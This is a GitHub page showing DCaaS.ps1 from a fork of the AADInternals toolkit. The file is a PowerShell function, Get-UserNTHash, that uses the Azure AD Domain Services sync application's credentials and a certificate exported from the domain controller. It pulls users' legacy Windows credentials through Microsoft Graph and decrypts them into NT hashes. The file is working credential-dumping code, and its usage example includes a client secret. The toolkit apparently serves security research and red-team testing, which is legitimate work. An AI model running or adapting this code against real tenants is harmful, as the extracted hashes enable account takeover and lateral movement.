forked from Gerenios/AADInternals
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathDCaaS.ps1
99 lines (88 loc) · 3.95 KB
/
DCaaS.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# Gets users NT Hashes from Azure AD
# Dec 22nd 2022
function Get-UserNTHash
{
<#
.SYNOPSIS
Exports and decrypts the NTHashes from Azure AD using the given application and certificate.
.DESCRIPTION
Exports and decrypts the NTHashes from Azure AD using the given application and certificate.
The application must be "Azure AD Domain Services Sync" created during the Azure AD Domain services (AADDS) deployment. Either client certificate or password needs to be provided.
The encryption certificate needs to be exported from AADDS domain controller.
.Example
PS C\:>Get-AADIntUserNTHash -ClientPassword "vlb8Q~W8iVXwfdt2FjIH4FE0hRc-p9G_kyN_KbtZ" -ClientId "23857e6f-7be4-4bb8-84b7-22e92c359c8d" -PfxFileName .\encryption_cert.pfx
NTHash UserPrincipalName
------ -----------------
00000000000000000000000000000000 [email protected]
11111111111111111111111111111111 [email protected]
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='ClientPassword', Mandatory=$False)]
[Parameter(ParameterSetName='ClientCert' , Mandatory=$True)]
[string]$ClientPfxFileName,
[Parameter(ParameterSetName='ClientPassword', Mandatory=$True)]
[Parameter(ParameterSetName='ClientCert' , Mandatory=$False)]
[string]$ClientPassword,
[Parameter(Mandatory=$False)]
[string]$ClientPfxPassword,
[Parameter(Mandatory=$True)]
[string]$PfxFileName,
[Parameter(Mandatory=$False)]
[string]$PfxPassword,
[Parameter(Mandatory=$False)]
[guid]$TenantId,
[Parameter(Mandatory=$True)]
[guid]$ClientId,
[Parameter(Mandatory=$False)]
[String]$UserPrincipalName
)
Process
{
# Load certificates
if(![string]::IsNullOrEmpty($ClientPfxFileName))
{
$clientCertificate = Load-Certificate -FileName $ClientPfxFileName -Password $ClientPfxPassword -Exportable
}
$decryptionCertificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable
# Parse the tenant name from the cert and get id if not provided
if([string]::IsNullOrEmpty($TenantId))
{
$domainName = $decryptionCertificate.Subject.Split("-")[1].Trim()
$TenantId = Get-TenantID -Domain $domainName
}
# Get access token
$access_token = Get-DCaaSAccessToken -Certificate $clientCertificate -TenantId $TenantId -ClientId $ClientId -Password $ClientPassword
$queryString = '$select=id,onPremisesImmutableId,onPremisesSecurityIdentifier,userPrincipalName,windowsLegacyCredentials'#,windowsSupplementalCredentials'
if(![string]::IsNullOrEmpty($UserPrincipalName))
{
$queryString += "&`$filter=userPrincipalName eq '$UserPrincipalName'"
}
$results = Call-MSGraphAPI -AccessToken $access_token -API users -QueryString $queryString
foreach($result in $results)
{
if($result.windowsLegacyCredentials)
{
$binLegacyCreds = Convert-B64ToByteArray -B64 $result.windowsLegacyCredentials
$ADAuthInfo = Unprotect-ADAuthInfo -Data $binLegacyCreds -Certificate $decryptionCertificate
if($ADAuthInfo)
{
$binHash = $ADAuthInfo[8..($ADAuthInfo.length)]
[PSCustomObject][ordered]@{
"NTHash" = Convert-ByteArrayToHex -Bytes $binHash
"UserPrincipalName" = $result.UserPrincipalName
}
}
else
{
Write-Verbose "Decryption failed: $($result.UserPrincipalName)"
}
}
else
{
Write-Verbose "No NTHash: $($result.UserPrincipalName)"
}
}
}
}